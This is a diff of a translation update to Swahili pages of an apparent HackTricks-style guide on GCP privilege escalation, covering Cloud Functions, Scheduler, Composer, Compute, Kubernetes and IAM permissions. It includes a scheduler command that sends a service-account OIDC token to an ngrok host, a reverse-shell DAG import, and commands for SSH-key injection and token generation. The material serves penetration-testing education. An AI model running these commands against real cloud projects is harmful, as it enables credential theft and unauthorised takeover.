### Upatikanaji wa Kusoma na Kuandika juu ya ndoo
### Upatikanaji wa Kusoma na Kuandika juu ya bucket
Ikiwa una upatikanaji wa kusoma na kuandika juu ya ndoo unaweza kufuatilia mabadiliko katika msimbo na wakati wowote **sasisho katika ndoo linapotokea unaweza kusasisha msimbo mpya na msimbo wako** ambao toleo jipya la Cloud Function litakimbia na msimbo wa nyuma uliowasilishwa.
Ikiwa una upatikanaji wa kusoma na kuandika juu ya bucket unaweza kufuatilia mabadiliko katika msimbo na wakati wowote **sasisho katika bucket linapotokea unaweza kusasisha msimbo mpya na msimbo wako** ambao toleo jipya la Cloud Function litakimbia na msimbo wa nyuma uliowasilishwa.
Unaweza kuangalia zaidi kuhusu shambulio katika:
@@ -89,16 +89,16 @@ Unaweza kuangalia zaidi kuhusu shambulio katika:
gcp-storage-privesc.md
{{#endref}}
Hata hivyo, huwezi kutumia hii kujiandaa kabla ya kuathiri Cloud Functions za watu wengine kwa sababu ikiwa utaunda ndoo katika akaunti yako na kuipa ruhusa za umma ili mradi wa nje uweze kuandika juu yake, unapata kosa lifuatalo:
Hata hivyo, huwezi kutumia hii kujiandaa kabla ya kuathiri Cloud Functions za watu wengine kwa sababu ikiwa utaunda bucket katika akaunti yako na kuipa ruhusa za umma ili mradi wa nje uweze kuandika juu yake, unapata kosa lifuatalo:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> Hata hivyo, hii inaweza kutumika kwa shambulio la DoS.
> Hata hivyo, hii inaweza kutumika kwa shambulio za DoS.
### Upatikanaji wa Kusoma na Kuandika juu ya Katalogi ya Vitu
### Upatikanaji wa Kusoma na Kuandika juu ya Katalogi ya Vifaa
Wakati Cloud Function inaundwa, picha mpya ya docker inasukumwa kwenye Katalogi ya Vitu ya mradi. Nilijaribu kubadilisha picha hiyo na picha mpya, na hata kufuta picha ya sasa (na picha ya `cache`) na hakuna kilichobadilika, kazi ya wingu inaendelea kufanya kazi. Kwa hivyo, labda **inaweza kuwa na uwezekano wa kutumia shambulio la Race Condition** kama ilivyo na ndoo kubadilisha kontena la docker ambalo litakimbia lakini **kubadilisha picha iliyohifadhiwa si rahisi kuathiri Cloud Function.**
Wakati Cloud Function inaundwa, picha mpya ya docker inasukumwa kwenye Katalogi ya Vifaa ya mradi. Nilijaribu kubadilisha picha hiyo na picha mpya, na hata kufuta picha ya sasa (na picha ya `cache`) na hakuna kilichobadilika, kazi ya wingu inaendelea kufanya kazi. Kwa hivyo, labda **inaweza kuwa na uwezo wa kutumia shambulio la Race Condition** kama ilivyo na bucket kubadilisha kontena la docker ambalo litakimbia lakini **kubadilisha picha iliyohifadhiwa si rahisi kuathiri Cloud Function**.
## Marejeleo

View File

@@ -19,7 +19,7 @@ gcloud identity groups memberships add --group-email <email> --member-email <ema
```
### Badilisha uanachama wa kikundi
Ikiwa mtumiaji wako ana ruhusa za kutosha au kikundi kimewekwa vibaya, anaweza kuwa na uwezo wa kujifanya MMILIKI wa kikundi ambacho ni mwanachama wake:
Ikiwa mtumiaji wako ana ruhusa za kutosha au kikundi kimewekwa vibaya, anaweza kuwa na uwezo wa kujifanya Mmiliki wa kikundi ambacho ni mwanachama wake:
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

View File

@@ -22,7 +22,7 @@ gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://sto
```
Ili kupandisha mamlaka, **mshambuliaji anaunda tu ombi la HTTP linalolenga API inayotakiwa, akijifanya kuwa Akaunti ya Huduma iliyoainishwa**
- **Fanya exfiltrate token ya akaunti ya huduma ya OIDC**
- **Pata tokeni ya akaunti ya huduma ya OIDC**
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
@@ -102,7 +102,7 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
## Marejeo
## Marejeleo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -55,9 +55,9 @@ Angalia msimbo wa chanzo wa dags zinazotekelezwa:
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
### Ingiza Dags
### Import Dags
Ongeza msimbo wa python DAG kwenye faili na uagize ukikimbia:
Ongeza msimbo wa python DAG kwenye faili na uagizaji ukikimbia:
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
@@ -94,22 +94,22 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
### Kuandika Upatikanaji kwa bakuli la Composer
### Write Access to the Composer bucket
Vipengele vyote vya mazingira ya composer (DAGs, plugins na data) vinahifadhiwa ndani ya bakuli la GCP. Ikiwa mshambuliaji ana ruhusa za kusoma na kuandika juu yake, anaweza kufuatilia bakuli na **wakati wowote DAG inapotengenezwa au kusasishwa, kuwasilisha toleo lililo na backdoor** ili mazingira ya composer yapate toleo hilo lililo na backdoor kutoka kwenye hifadhi.
Vipengele vyote vya mazingira ya composer (DAGs, plugins na data) vinahifadhiwa ndani ya GCP bucket. Ikiwa mshambuliaji ana ruhusa za kusoma na kuandika juu yake, anaweza kufuatilia bucket na **wakati wowote DAG inaundwa au kusasishwa, kuwasilisha toleo lililo na backdoor** ili mazingira ya composer yapate toleo hilo lililo na backdoor kutoka kwenye hifadhi.
Pata maelezo zaidi kuhusu shambulio hili katika:
Get more info about this attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
### Ingiza Plugins
### Import Plugins
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia plugins
TODO: Check what is possible to compromise by uploading plugins
### Ingiza Data
### Import Data
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia data
TODO: Check what is possible to compromise by uploading data
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,14 +11,14 @@ Kwa maelezo zaidi kuhusu Compute na VPC (mtandao) katika GCP angalia:
{{#endref}}
> [!CAUTION]
> Kumbuka kwamba ili kufanya mashambulizi yote ya kupandisha hadhi yanayohitaji kubadilisha metadata ya instance (kama kuongeza watumiaji wapya na funguo za SSH) **ni muhimu kuwa na ruhusa `actAs` juu ya SA iliyoambatanishwa na instance**, hata kama SA tayari imeambatanishwa!
> Kumbuka kwamba ili kufanya mashambulizi yote ya kupandisha hadhi yanayohitaji kubadilisha metadata ya instance (kama kuongeza watumiaji wapya na funguo za SSH) **ni muhimu kuwa na ruhusa za `actAs` juu ya SA iliyoambatanishwa na instance**, hata kama SA tayari imeambatanishwa!
### `compute.projects.setCommonInstanceMetadata`
Kwa ruhusa hiyo unaweza **kubadilisha** taarifa za **metadata** za **instance** na kubadilisha **funguo zilizoidhinishwa za mtumiaji**, au **kuunda** mtumiaji **mpya mwenye** ruhusa za sudo. Hivyo, utaweza kuingia kupitia SSH kwenye instance yoyote ya VM na kuiba GCP Service Account ambayo Instance inatumia.\
Vikwazo:
- Kumbuka kwamba GCP Service Accounts zinazotumika katika VM instances kwa kawaida zina **mipaka ya chini sana**
- Kumbuka kwamba GCP Service Accounts zinazotumika katika VM instances kwa kawaida zina **mipaka finyu sana**
- Itabidi uwe **na uwezo wa kuwasiliana na** seva ya SSH ili kuingia
Kwa maelezo zaidi kuhusu jinsi ya kutumia ruhusa hii angalia:
@@ -41,7 +41,7 @@ Ruhusa hii inatoa **privilege sawa na ruhusa ya awali** lakini juu ya mifano maa
### `compute.instances.setIamPolicy`
Aina hii ya ruhusa itakuruhusu **kujipe nafasi na ruhusa za awali** na kupandisha madaraka kwa kuzitumia. Hapa kuna mfano wa kuongeza `roles/compute.admin` kwa Akaunti ya Huduma:
Aina hii ya ruhusa itakuruhusu **kujipe nafasi na ruhusa za awali** na kupandisha mamlaka kwa kuzitumia vibaya. Hapa kuna mfano wa kuongeza `roles/compute.admin` kwa Akaunti ya Huduma:
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
@@ -83,7 +83,7 @@ Ikiwa una **`osconfig.patchDeployments.create`** au **`osconfig.patchJobs.exec`*
Kumbuka kwamba kwa sasa **huhitaji ruhusa ya `actAs`** juu ya SA iliyoambatanishwa na mfano.
Ikiwa unataka kutumia hii kwa mikono, utahitaji kuunda ama [**kazi ya patch**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **au** [**uwekaji**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
Ikiwa unataka kutumia hii kwa mikono utahitaji kuunda ama [**kazi ya patch**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **au** [**uwekaji**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
Ili kukimbia kazi ya patch:
```python
cat > /tmp/patch-job.sh <<EOF
@@ -127,7 +127,7 @@ Chombo [patchy](https://github.com/rek7/patchy) kinaweza kutumika zamani kwa kut
Kufuata kiungo hiki utapata baadhi ya [**wazo za kujaribu kupita mipaka ya ufikiaji**](../).
### Kuinua Privilege ya Mitaa katika GCP Compute instance
### Kuinua Haki za Mlokole katika GCP Compute instance
{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md

View File

@@ -10,7 +10,7 @@ Kubadilisha metadata kwenye mfano kunaweza kusababisha **hatari kubwa za usalama
#### **Kuongeza Funguo za SSH kwenye Metadata ya Kijadi**
Katika GCP, **mifumo ya Linux** mara nyingi inatekeleza skripti kutoka kwenye [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Sehemu muhimu ya hii ni [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), ambayo imeundwa ili **kuangalia mara kwa mara** kiungo cha metadata ya mfano kwa **sasisho la funguo za umma za SSH zilizoidhinishwa**.
Katika GCP, **mifumo ya Linux** mara nyingi inatekeleza skripti kutoka kwenye [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Sehemu muhimu ya hii ni [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), ambayo imeundwa ili **kuangalia mara kwa mara** kiungo cha metadata ya mfano kwa **sasisho za funguo za umma za SSH zilizoidhinishwa**.
Hivyo, ikiwa mshambuliaji anaweza kubadilisha metadata ya kijadi, anaweza kufanya daemon ipate funguo mpya za umma, ambazo zitawekwa na **kuunganishwa kwenye mfumo wa ndani**. Funguo hiyo itaongezwa kwenye faili ya `~/.ssh/authorized_keys` ya **mtumiaji aliye tayari au labda kuunda mtumiaji mpya mwenye ruhusa za `sudo`**, kulingana na muundo wa funguo. Na mshambuliaji ataweza kuathiri mwenyeji.
@@ -77,19 +77,19 @@ ssh -i ./key "$NEWUSER"@localhost
```
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
Inawezekana kupanua ufikiaji wa SSH kwa Mashine nyingi za Kielektroniki (VMs) katika mazingira ya wingu kwa **kuweka funguo za SSH katika kiwango cha mradi**. Njia hii inaruhusu ufikiaji wa SSH kwa mfano wowote ndani ya mradi ambao haujazuia wazi wazi funguo za SSH za mradi. Hapa kuna mwongozo wa muhtasari:
Inawezekana kupanua ufikiaji wa SSH kwa Mashine nyingi za Kielektroniki (VMs) katika mazingira ya wingu kwa **kutumia funguo za SSH katika kiwango cha mradi**. Njia hii inaruhusu ufikiaji wa SSH kwa mfano wowote ndani ya mradi ambao haujazuia wazi wazi funguo za SSH za mradi. Hapa kuna mwongozo wa muhtasari:
1. **Apply SSH Keys at the Project Level:**
1. **Tumia Funguo za SSH katika Kiwango cha Mradi:**
- Tumia amri `gcloud compute project-info add-metadata` kuongeza funguo za SSH kutoka `meta.txt` kwenye metadata ya mradi. Kitendo hiki kinahakikisha kwamba funguo za SSH zinatambulika katika VMs zote ndani ya mradi, isipokuwa VM ambayo ina chaguo la "Block project-wide SSH keys" imewezeshwa.
- Tumia amri `gcloud compute project-info add-metadata` kuongeza funguo za SSH kutoka `meta.txt` kwenye metadata ya mradi. Kitendo hiki kinahakikisha kwamba funguo za SSH zinatambulika katika VMs zote ndani ya mradi, isipokuwa VM ambayo ina chaguo la "Block project-wide SSH keys" limewezeshwa.
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **SSH into Instances Using Project-Wide Keys:**
- Pamoja na funguo za SSH za mradi, unaweza SSH kwenye mfano wowote ndani ya mradi. Mifano ambayo haizuia funguo za mradi itakubali funguo za SSH, ikitoa ufikiaji.
- Njia moja ya moja ya SSH kwenye mfano ni kutumia amri `gcloud compute ssh [INSTANCE]`. Amri hii inatumia jina lako la mtumiaji wa sasa na funguo za SSH zilizowekwa katika kiwango cha mradi kujaribu ufikiaji.
2. **SSH kwenye Mifano kwa Kutumia Funguo za Mradi:**
- Pamoja na funguo za SSH za mradi zikiwa zimewekwa, unaweza SSH kwenye mfano wowote ndani ya mradi. Mifano ambayo haizuia funguo za mradi itakubali funguo za SSH, ikitoa ufikiaji.
- Njia moja ya moja kwa moja ya SSH kwenye mfano ni kutumia amri `gcloud compute ssh [INSTANCE]`. Amri hii inatumia jina lako la mtumiaji wa sasa na funguo za SSH zilizowekwa katika kiwango cha mradi kujaribu ufikiaji.
## References

View File

@@ -46,42 +46,42 @@ name: gcp
```
### `container.roles.escalate` | `container.clusterRoles.escalate`
**Kubernetes** kwa default **inaepusha** wahusika kuwa na uwezo wa **kuunda** au **kupdate** **Roles** na **ClusterRoles** zenye **idhini zaidi** kuliko zile ambazo wahusika wanazo. Hata hivyo, wahusika wa **GCP** wenye idhini hizo wataweza **kuunda/kupdate Roles/ClusterRoles zenye idhini zaidi** kuliko zile walizonazo, kwa hivyo kuweza kupita ulinzi wa Kubernetes dhidi ya tabia hii.
**Kubernetes** kwa kawaida **inaepusha** wakala kuwa na uwezo wa **kuunda** au **k updating** **Roles** na **ClusterRoles** zenye **idhini zaidi** kuliko zile ambazo wakala ana. Hata hivyo, wakala wa **GCP** mwenye ruhusa hizo atakuwa **na uwezo wa kuunda/update Roles/ClusterRoles zenye idhini zaidi** kuliko zile alizo nazo, kwa hivyo akiepuka ulinzi wa Kubernetes dhidi ya tabia hii.
**`container.roles.create`** na/au **`container.roles.update`** AU **`container.clusterRoles.create`** na/au **`container.clusterRoles.update`** kwa mtiririko huo pia ni **zaidi** **zinahitajika** ili kutekeleza vitendo hivyo vya kupandisha hadhi.
### `container.roles.bind` | `container.clusterRoles.bind`
**Kubernetes** kwa default **inaepusha** wahusika kuwa na uwezo wa **kuunda** au **kupdate** **RoleBindings** na **ClusterRoleBindings** ili kutoa **idhini zaidi** kuliko zile ambazo wahusika wanazo. Hata hivyo, wahusika wa **GCP** wenye idhini hizo wataweza **kuunda/kupdate RolesBindings/ClusterRolesBindings zenye idhini zaidi** kuliko zile walizonazo, kwa hivyo kuweza kupita ulinzi wa Kubernetes dhidi ya tabia hii.
**Kubernetes** kwa kawaida **inaepusha** wakala kuwa na uwezo wa **kuunda** au **k updating** **RoleBindings** na **ClusterRoleBindings** ili kutoa **idhini zaidi** kuliko zile ambazo wakala ana. Hata hivyo, wakala wa **GCP** mwenye ruhusa hizo atakuwa **na uwezo wa kuunda/update RolesBindings/ClusterRolesBindings zenye idhini zaidi** kuliko zile alizo nazo, kwa hivyo akiepuka ulinzi wa Kubernetes dhidi ya tabia hii.
**`container.roleBindings.create`** na/au **`container.roleBindings.update`** AU **`container.clusterRoleBindings.create`** na/au **`container.clusterRoleBindings.update`** kwa mtiririko huo pia ni **zaidi** **zinahitajika** ili kutekeleza vitendo hivyo vya kupandisha hadhi.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
Idhini hizi zote zitakuruhusu **kuunda au kupdate rasilimali** ambapo unaweza **kufafanua** **pod**. Kwa kufafanua pod unaweza **kueleza SA** ambayo itakuwa **imeunganishwa** na **picha** ambayo itakuwa **inayoendeshwa**, kwa hivyo unaweza kuendesha picha ambayo itakuwa **inatoa token ya SA kwa seva yako** ikikuruhusu kupandisha hadhi kwa akaunti yoyote ya huduma.\
Ruhusa hizi zote zitakuruhusu **kuunda au kuboresha rasilimali** ambapo unaweza **kufafanua** **pod**. Kwa kufafanua pod unaweza **kueleza SA** ambayo itakuwa **imeunganishwa** na **picha** ambayo itakuwa **inayoendeshwa**, kwa hivyo unaweza kuendesha picha ambayo itakuwa **inatoa token ya SA kwa seva yako** ikikuruhusu kupandisha hadhi kwa akaunti yoyote ya huduma.\
Kwa maelezo zaidi angalia:
Kwa kuwa tuko katika mazingira ya GCP, pia utaweza **kupata nodepool GCP SA** kutoka kwa huduma ya **metadata** na **kupandisha hadhi katika GCP** (kwa default SA ya kompyuta inatumika).
Kwa kuwa tuko katika mazingira ya GCP, pia utaweza **kupata nodepool GCP SA** kutoka kwa huduma ya **metadata** na **kupandisha hadhi katika GCP** (kwa kawaida SA ya kompyuta inatumika).
### `container.secrets.get` | `container.secrets.list`
Kama [**ilivyoelezwa katika ukurasa huu**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)kwa idhini hizi unaweza **kusoma** **tokens** za **SAs zote za kubernetes**, hivyo unaweza kupandisha hadhi kwao.
Kama [**ilivyoelezwa katika ukurasa huu**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)kwa ruhusa hizi unaweza **kusoma** **tokens** za **SAs zote za kubernetes**, hivyo unaweza kupandisha hadhi kwao.
### `container.pods.exec`
Kwa idhini hii utaweza **exec ndani ya pods**, ambayo inakupa **ufikiaji** wa **Kubernetes SAs zote zinazotembea katika pods** ili kupandisha hadhi ndani ya K8s, lakini pia utaweza **kuiba** **GCP Service Account** ya **NodePool**, **ukipandisha hadhi katika GCP**.
Kwa ruhusa hii utaweza **kuingia kwenye pods**, ambayo inakupa **ufikiaji** wa **Kubernetes SAs zinazokimbia katika pods** ili kupandisha hadhi ndani ya K8s, lakini pia utaweza **kuiba** **GCP Service Account** ya **NodePool**, **ukipandisha hadhi katika GCP**.
### `container.pods.portForward`
Kama **ilivyoelezwa katika ukurasa huu**, kwa idhini hizi unaweza **kufikia huduma za ndani** zinazotembea katika **pods** ambazo zinaweza kukuruhusu **kupandisha hadhi katika Kubernetes** (na katika **GCP** ikiwa kwa namna fulani utaweza kuzungumza na huduma ya metadata)**.**
Kama **ilivyoelezwa katika ukurasa huu**, kwa ruhusa hizi unaweza **kufikia huduma za ndani** zinazokimbia katika **pods** ambazo zinaweza kukuruhusu **kupandisha hadhi katika Kubernetes** (na katika **GCP** ikiwa kwa namna fulani unafanikiwa kuzungumza na huduma ya metadata)**.**
### `container.serviceAccounts.createToken`
Kwa sababu ya **jina** la **idhini**, inaonekana **kama itakuruhusu kuunda tokens za K8s Service Accounts**, hivyo utaweza **kupandisha hadhi kwa SA yoyote** ndani ya Kubernetes. Hata hivyo, sikuweza kupata kiunganishi chochote cha API cha kukitumia, hivyo nijulishe ikiwa utakipata.
Kwa sababu ya **jina** la **ruhusa**, inaonekana kama itakuruhusu kuunda tokens za K8s Service Accounts, hivyo utaweza **kupandisha hadhi kwa SA yoyote** ndani ya Kubernetes. Hata hivyo, sikuweza kupata kiunganishi chochote cha API cha kukitumia, hivyo nijulishe ikiwa utakipata.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
Idhini hizi zinaweza kukuruhusu kupandisha hadhi katika Kubernetes, lakini zaidi ya uwezekano, unaweza kuzitumia ku **kuendelea kuwepo katika klasta**.\
Ruhusa hizi zinaweza kukuruhusu kupandisha hadhi katika Kubernetes, lakini zaidi ya uwezekano, unaweza kuzitumia vibaya ili **kuendelea kuwepo katika klasta**.\
Kwa maelezo zaidi [**fuata kiungo hiki**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,7 +6,7 @@
### `deploymentmanager.deployments.create`
Hii ruhusa moja inakuwezesha **kuanzisha uanzishaji mpya** wa rasilimali ndani ya GCP kwa kutumia akaunti za huduma zisizo na mipaka. Unaweza kwa mfano kuanzisha mfano wa kompyuta na SA ili kupandisha hadhi kwake.
Hii ruhusa moja inakuwezesha **kuanzisha matumizi mapya** ya rasilimali ndani ya GCP kwa akaunti za huduma zisizo na mipaka. Unaweza kwa mfano kuanzisha mfano wa kompyuta na SA ili kupandisha hadhi.
Kwa kweli unaweza **kuanzisha rasilimali yoyote** iliyoorodheshwa katika `gcloud deployment-manager types list`
@@ -14,13 +14,13 @@ Katika [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escala
### `deploymentmanager.deployments.update`
Hii ni kama matumizi ya awali lakini badala ya kuunda uanzishaji mpya, unabadilisha mmoja ulio tayari kuwepo (hivyo kuwa makini)
Hii ni kama matumizi ya awali lakini badala ya kuunda matumizi mapya, unabadilisha moja iliyopo tayari (hivyo kuwa makini)
Angalia script ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
### `deploymentmanager.deployments.setIamPolicy`
Hii ni kama matumizi ya awali lakini badala ya kuunda uanzishaji mpya moja kwa moja, kwanza unakupa ufikiaji huo na kisha unatumia ruhusa kama ilivyoelezwa katika sehemu ya awali _deploymentmanager.deployments.create_.
Hii ni kama matumizi ya awali lakini badala ya kuunda matumizi mapya moja kwa moja, kwanza unakupa ufikiaji huo na kisha unatumia ruhusa kama ilivyoelezwa katika sehemu ya awali _deploymentmanager.deployments.create_.
## References

View File

@@ -20,7 +20,7 @@ Unaweza kupata skripti ya kuharakisha **kuunda, kutumia na kusafisha mazingira y
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
Mshambuliaji mwenye ruhusa zilizoelezwa ataweza **kuomba tokeni ya ufikiaji inayomilikiwa na Akaunti ya Huduma**, hivyo inawezekana kuomba tokeni ya ufikiaji ya Akaunti ya Huduma yenye ruhusa zaidi kuliko zetu.
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kuomba tokeni ya ufikiaji inayomilikiwa na Akaunti ya Huduma**, hivyo inawezekana kuomba tokeni ya ufikiaji ya Akaunti ya Huduma yenye ruhusa zaidi kuliko zetu.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
@@ -41,11 +41,11 @@ Kumbuka kwamba **`iam.serviceAccountKeys.update` haitafanya kazi kubadilisha fun
### `iam.serviceAccounts.implicitDelegation`
Ikiwa una ruhusa **`iam.serviceAccounts.implicitDelegation`** kwenye Akaunti ya Huduma ambayo ina ruhusa **`iam.serviceAccounts.getAccessToken`** kwenye Akaunti nyingine ya Huduma, basi unaweza kutumia implicitDelegation **kuunda tokeni kwa Akaunti hiyo ya Tatu ya Huduma**. Hapa kuna mchoro kusaidia kuelezea.
Ikiwa una ruhusa **`iam.serviceAccounts.implicitDelegation`** kwenye Akaunti ya Huduma ambayo ina ruhusa **`iam.serviceAccounts.getAccessToken`** kwenye Akaunti ya Huduma ya tatu, basi unaweza kutumia implicitDelegation **kuunda tokeni kwa Akaunti hiyo ya Huduma ya tatu**. Hapa kuna mchoro kusaidia kuelezea.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Kumbuka kwamba kulingana na [**nyaraka**](https://cloud.google.com/iam/docs/understanding-service-accounts), ugawaji wa `gcloud` unafanya kazi tu kuzalisha tokeni kwa kutumia njia ya [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Hivyo hapa kuna jinsi ya kupata tokeni kwa kutumia API moja kwa moja:
Kumbuka kwamba kulingana na [**nyaraka**](https://cloud.google.com/iam/docs/understanding-service-accounts), uwakilishi wa `gcloud` unafanya kazi tu kuzalisha tokeni kwa kutumia njia [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Hivyo hapa kuna jinsi ya kupata tokeni kwa kutumia API moja kwa moja:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -56,23 +56,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
Unaweza kupata script ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) na script ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata skripti ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) na skripti ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini payloads zisizo na saini katika GCP**. Hivyo itakuwa inawezekana **kuunda JWT isiyo na saini ya SA na kisha kuisafirisha kama blob ili kupata JWT iliyosainiwa** na SA tunayoelekeza. Kwa maelezo zaidi [**soma hii**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Unaweza kupata script ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) na script ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) na [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Unaweza kupata skripti ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) na skripti ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) na [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini tokeni za wavuti za JSON (JWTs) zilizo na muundo mzuri**. Tofauti na njia ya awali ni kwamba **badala ya kumfanya google asaini blob inayoshikilia JWT, tunatumia njia ya signJWT ambayo tayari inatarajia JWT**. Hii inafanya iwe rahisi kutumia lakini unaweza kusaini JWT tu badala ya bytes zozote.
Mshambuliaji mwenye ruhusa zilizotajwa ataweza **kusaini JSON web tokens (JWTs) zilizo na muundo mzuri**. Tofauti na njia ya awali ni kwamba **badala ya kumfanya google asaini blob inayoshikilia JWT, tunatumia njia ya signJWT ambayo tayari inatarajia JWT**. Hii inafanya iwe rahisi kutumia lakini unaweza kusaini JWT tu badala ya bytes zozote.
Unaweza kupata script ya kuendesha [**kuunda, kutumia na kusafisha mazingira yenye udhaifu hapa**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) na script ya python ya kutumia ruhusa hii [**hapa**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
